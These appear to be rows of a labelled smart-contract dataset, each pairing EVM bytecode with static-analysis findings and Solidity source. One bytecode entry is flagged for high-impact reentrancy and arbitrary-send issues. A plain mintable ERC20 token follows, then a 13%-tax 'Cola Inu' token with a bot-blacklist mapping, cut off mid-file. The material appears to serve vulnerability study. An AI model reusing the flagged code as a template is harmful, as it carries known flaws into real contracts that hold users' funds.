ff16565b905080838395509550955050505093509350939050565b6000806000806127a085896120fa90919063ffffffff16565b905060006127b786896120fa90919063ffffffff16565b905060006127ce87896120fa90919063ffffffff16565b905060006127f7826127e9858761255290919063ffffffff16565b61255290919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061282361281e84613135565b613110565b9050808382526020820190508285602086028201111561284257600080fd5b60005b858110156128725781612858888261287c565b845260208401935060208301925050600181019050612845565b5050509392505050565b60008135905061288b81613773565b92915050565b6000815190506128a081613773565b92915050565b600082601f8301126128b757600080fd5b81356128c7848260208601612810565b91505092915050565b6000813590506128df8161378a565b92915050565b6000815190506128f48161378a565b92915050565b600081359050612909816137a1565b92915050565b60008151905061291e816137a1565b92915050565b60006020828403121561293657600080fd5b60006129448482850161287c565b91505092915050565b60006020828403121561295f57600080fd5b600061296d84828501612891565b91505092915050565b6000806040838503121561298957600080fd5b60006129978582860161287c565b92505060206129a88582860161287c565b9150509250929050565b6000806000606084860312156129c757600080fd5b60006129d58682870161287c565b93505060206129e68682870161287c565b92505060406129f7868287016128fa565b9150509250925092565b60008060408385031215612a1457600080fd5b6000612a228582860161287c565b9250506020612a33858286016128fa565b9150509250929050565b600060208284031215612a4f57600080fd5b600082013567ffffffffffffffff811115612a6957600080fd5b612a75848285016128a6565b91505092915050565b600060208284031215612a9057600080fd5b6000612a9e848285016128d0565b91505092915050565b600060208284031215612ab957600080fd5b6000612ac7848285016128e5565b91505092915050565b600060208284031215612ae257600080fd5b6000612af0848285016128fa565b91505092915050565b600080600060608486031215612b0e57600080fd5b6000612b1c8682870161290f565b9350506020612b2d8682870161290f565b9250506040612b3e8682870161290f565b9150509250925092565b6000612b548383612b60565b60208301905092915050565b612b69816132cb565b82525050565b612b78816132cb565b82525050565b6000612b8982613171565b612b938185613194565b9350612b9e83613161565b8060005b83811015612bcf578151612bb68882612b48565b9750612bc183613187565b925050600181019050612ba2565b5085935050505092915050565b612be5816132dd565b82525050565b612bf481613320565b82525050565b6000612c058261317c565b612c0f81856131a5565b9350612c1f818560208601613332565b612c288161346c565b840191505092915050565b6000612c406023836131a5565b9150612c4b8261347d565b604082019050919050565b6000612c63602a836131a5565b9150612c6e826134cc565b604082019050919050565b6000612c866022836131a5565b9150612c918261351b565b604082019050919050565b6000612ca9601b836131a5565b9150612cb48261356a565b602082019050919050565b6000612ccc601d836131a5565b9150612cd782613593565b602082019050919050565b6000612cef6021836131a5565b9150612cfa826135bc565b604082019050919050565b6000612d126020836131a5565b9150612d1d8261360b565b602082019050919050565b6000612d356029836131a5565b9150612d4082613634565b604082019050919050565b6000612d586025836131a5565b9150612d6382613683565b604082019050919050565b6000612d7b6024836131a5565b9150612d86826136d2565b604082019050919050565b6000612d9e6017836131a5565b9150612da982613721565b602082019050919050565b6000612dc16011836131a5565b9150612dcc8261374a565b602082019050919050565b612de081613309565b82525050565b612def81613313565b82525050565b6000602082019050612e0a6000830184612b6f565b92915050565b6000604082019050612e256000830185612b6f565b612e326020830184612b6f565b9392505050565b6000604082019050612e4e6000830185612b6f565b612e5b6020830184612dd7565b9392505050565b600060c082019050612e776000830189612b6f565b612e846020830188612dd7565b612e916040830187612beb565b612e9e6060830186612beb565b612eab6080830185612b6f565b612eb860a0830184612dd7565b979650505050505050565b6000602082019050612ed86000830184612bdc565b92915050565b60006020820190508181036000830152612ef88184612bfa565b905092915050565b60006020820190508181036000830152612f1981612c33565b9050919050565b60006020820190508181036000830152612f3981612c56565b9050919050565b60006020820190508181036000830152612f5981612c79565b9050919050565b60006020820190508181036000830152612f7981612c9c565b9050919050565b60006020820190508181036000830152612f9981612cbf565b9050919050565b60006020820190508181036000830152612fb981612ce2565b9050919050565b60006020820190508181036000830152612fd981612d05565b9050919050565b60006020820190508181036000830152612ff981612d28565b9050919050565b6000602082019050818103600083015261301981612d4b565b9050919050565b6000602082019050818103600083015261303981612d6e565b9050919050565b6000602082019050818103600083015261305981612d91565b9050919050565b6000602082019050818103600083015261307981612db4565b9050919050565b60006020820190506130956000830184612dd7565b92915050565b600060a0820190506130b06000830188612dd7565b6130bd6020830187612beb565b81810360408301526130cf8186612b7e565b90506130de6060830185612b6f565b6130eb6080830184612dd7565b9695505050505050565b600060208201905061310a6000830184612de6565b92915050565b600061311a61312b565b90506131268282613365565b919050565b6000604051905090565b600067ffffffffffffffff8211156131505761314f61343d565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006131c182613309565b91506131cc83613309565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115613201576132006133df565b5b828201905092915050565b600061321782613309565b915061322283613309565b9250826132325761323161340e565b5b828204905092915050565b600061324882613309565b915061325383613309565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561328c5761328b6133df565b5b828202905092915050565b60006132a282613309565b91506132ad83613309565b9250828210156132c0576132bf6133df565b5b828203905092915050565b60006132d6826132e9565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061332b82613309565b9050919050565b60005b83811015613350578082015181840152602081019050613335565b8381111561335f576000848401525b50505050565b61336e8261346c565b810181811067ffffffffffffffff8211171561338d5761338c61343d565b5b80604052505050565b60006133a182613309565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156133d4576133d36133df565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b61377c816132cb565b811461378757600080fd5b50565b613793816132dd565b811461379e57600080fd5b50565b6137aa81613309565b81146137b557600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122023b0588e05b7a543fb7ea5f531c2e0d4c8534c269f3a005fe122bc6e318fc71f64736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 9,457 |
0x18b9a456d4d3a81e1d9d0ae32044974ab3550da0
|
pragma solidity 0.4.19;
// File: zeppelin-solidity/contracts/ownership/Ownable.sol
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
// File: zeppelin-solidity/contracts/math/SafeMath.sol
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
// File: zeppelin-solidity/contracts/token/ERC20/ERC20Basic.sol
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
// File: zeppelin-solidity/contracts/token/ERC20/BasicToken.sol
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
/**
* @dev total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
// File: zeppelin-solidity/contracts/token/ERC20/ERC20.sol
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: zeppelin-solidity/contracts/token/ERC20/StandardToken.sol
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
// File: zeppelin-solidity/contracts/token/ERC20/MintableToken.sol
/**
* @title Mintable token
* @dev Simple ERC20 Token example, with mintable token creation
* @dev Issue: * https://github.com/OpenZeppelin/zeppelin-solidity/issues/120
* Based on code by TokenMarketNet: https://github.com/TokenMarketNet/ico/blob/master/contracts/MintableToken.sol
*/
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
/**
* @dev Function to mint tokens
* @param _to The address that will receive the minted tokens.
* @param _amount The amount of tokens to mint.
* @return A boolean that indicates if the operation was successful.
*/
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
Mint(_to, _amount);
Transfer(address(0), _to, _amount);
return true;
}
/**
* @dev Function to stop minting new tokens.
* @return True if the operation was successful.
*/
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
MintFinished();
return true;
}
}
contract KumCoin is MintableToken {
string public name = "KumCoin";
string public symbol = "KCN";
uint8 public decimals = 18;
}
|
0x6060604052600436106100e6576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806305d2035b146100eb57806306fdde0314610118578063095ea7b3146101a657806318160ddd1461020057806323b872dd14610229578063313ce567146102a257806340c10f19146102d1578063661884631461032b57806370a08231146103855780637d64bcb4146103d25780638da5cb5b146103ff57806395d89b4114610454578063a9059cbb146104e2578063d73dd6231461053c578063dd62ed3e14610596578063f2fde38b14610602575b600080fd5b34156100f657600080fd5b6100fe61063b565b604051808215151515815260200191505060405180910390f35b341561012357600080fd5b61012b61064e565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561016b578082015181840152602081019050610150565b50505050905090810190601f1680156101985780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156101b157600080fd5b6101e6600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506106ec565b604051808215151515815260200191505060405180910390f35b341561020b57600080fd5b6102136107de565b6040518082815260200191505060405180910390f35b341561023457600080fd5b610288600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506107e8565b604051808215151515815260200191505060405180910390f35b34156102ad57600080fd5b6102b5610ba2565b604051808260ff1660ff16815260200191505060405180910390f35b34156102dc57600080fd5b610311600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610bb5565b604051808215151515815260200191505060405180910390f35b341561033657600080fd5b61036b600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610d9b565b604051808215151515815260200191505060405180910390f35b341561039057600080fd5b6103bc600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190505061102c565b6040518082815260200191505060405180910390f35b34156103dd57600080fd5b6103e5611074565b604051808215151515815260200191505060405180910390f35b341561040a57600080fd5b61041261113c565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561045f57600080fd5b610467611162565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156104a757808201518184015260208101905061048c565b50505050905090810190601f1680156104d45780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156104ed57600080fd5b610522600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050611200565b604051808215151515815260200191505060405180910390f35b341561054757600080fd5b61057c600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190505061141f565b604051808215151515815260200191505060405180910390f35b34156105a157600080fd5b6105ec600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff1690602001909190505061161b565b6040518082815260200191505060405180910390f35b341561060d57600080fd5b610639600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506116a2565b005b600360149054906101000a900460ff1681565b60048054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156106e45780601f106106b9576101008083540402835291602001916106e4565b820191906000526020600020905b8154815290600101906020018083116106c757829003601f168201915b505050505081565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600154905090565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561082557600080fd5b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561087257600080fd5b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156108fd57600080fd5b61094e826000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117fa90919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506109e1826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461181390919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610ab282600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117fa90919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600660009054906101000a900460ff1681565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610c1357600080fd5b600360149054906101000a900460ff16151515610c2f57600080fd5b610c448260015461181390919063ffffffff16565b600181905550610c9b826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461181390919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff167f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d4121396885836040518082815260200191505060405180910390a28273ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600080600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115610eac576000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610f40565b610ebf83826117fa90919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156110d257600080fd5b600360149054906101000a900460ff161515156110ee57600080fd5b6001600360146101000a81548160ff0219169083151502179055507fae5184fba832cb2b1f702aca6117b8d265eaf03ad33eb133f19dde0f5920fa0860405160405180910390a16001905090565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60058054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156111f85780601f106111cd576101008083540402835291602001916111f8565b820191906000526020600020905b8154815290600101906020018083116111db57829003601f168201915b505050505081565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561123d57600080fd5b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561128a57600080fd5b6112db826000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117fa90919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061136e826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461181390919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b60006114b082600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461181390919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156116fe57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415151561173a57600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600082821115151561180857fe5b818303905092915050565b600080828401905083811015151561182757fe5b80915050929150505600a165627a7a72305820c642d2b2905d0cb9db8d3ce28d99a32552f4f2ba33d0d601c4b121c1b9707cc30029
|
{"success": true, "error": null, "results": {}}
| 9,458 |
0xbcbcffc799345be7541c92b14d9886813080d332
|
/**
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
_transferOwnership(_msgSender());
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract ColaInu is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Cola Inu";
string private constant _symbol = "COLAINU";
uint8 private constant _decimals = 9;
mapping (address => uint256) _balances;
mapping(address => uint256) _lastTX;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 _totalSupply = 1000000000000 * 10**9;
//Buy Fee
uint256 private _taxFeeOnBuy = 13;
//Sell Fee
uint256 private _taxFeeOnSell = 13;
//Original Fee
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots;
